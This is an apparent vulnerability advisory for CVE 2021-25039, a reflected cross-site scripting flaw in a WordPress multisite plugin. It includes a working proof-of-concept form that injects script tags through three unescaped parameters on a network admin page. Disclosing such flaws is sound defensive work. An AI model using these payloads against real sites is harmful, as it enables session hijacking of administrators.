Multisite Content Copier/Updater < 2.1.0 – Reflected Cross-Site Scripting | CVE 2021-25039

Description

The plugin does not sanitise and escape the wmcc_content_type, wmcc_source_blog and wmcc_record_per_page parameters before outputting them back in attributes, leading to Reflected Cross-Site Scripting issues

Proof of Concept

<html>
  <body>
    <form action="http://example.com/wp-admin/network/admin.php?page=wordpress-multisite-content-copier" method="POST">
      <input type="hidden" name="wmcc_content_type" value='"><script>alert(/XSS-content_type/)</script>' />
      <input type="hidden" name="wmcc_source_blog" value='1"><script>alert(/XSS-source/)</script>' />
      <input type="hidden" name="wmcc_record_per_page" value='10"><script>alert(/XSS-record/)</script>' />
      <input type="hidden" name="submit" value="Filter" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>